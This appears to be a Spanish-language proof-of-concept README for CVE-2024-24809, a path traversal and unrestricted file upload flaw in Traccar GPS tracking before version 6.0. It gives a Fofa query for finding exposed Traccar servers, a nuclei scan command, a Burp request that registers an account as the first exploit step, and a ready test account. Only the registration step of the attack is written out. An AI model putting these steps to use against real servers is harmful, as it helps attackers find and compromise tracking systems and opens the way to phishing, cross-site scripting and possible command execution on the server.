CVE-2024-24809-Proof-of-concept

Detalle de CVE-2024-24809

#Descripción Traccar es un sistema de seguimiento GPS de código abierto. Las versiones anteriores a la 6.0 son vulnerables a path traversal y a la carga sin restricciones de archivos con tipos peligrosos. Dado que el sistema permite el registro por defecto, los atacantes pueden obtener permisos de usuario ordinario registrando una cuenta y explotar esta vulnerabilidad para subir archivos con el prefijo device. en cualquier carpeta. Los atacantes pueden utilizar esta vulnerabilidad para phishing, ataques de cross-site scripting y, potencialmente, ejecutar comandos arbitrarios en el servidor. La versión 6.0 contiene un parche para este problema.

#Uso

Fofa query : app="traccar"

nuclei --target {target.com} -t CVE-2024-24809.yaml

#Prueba de concepto (usando burpsuite)

POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8

{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}

#Cuenta de prueba

name: "ghostsec"
password: "ghostsec"
email: "[email protected]"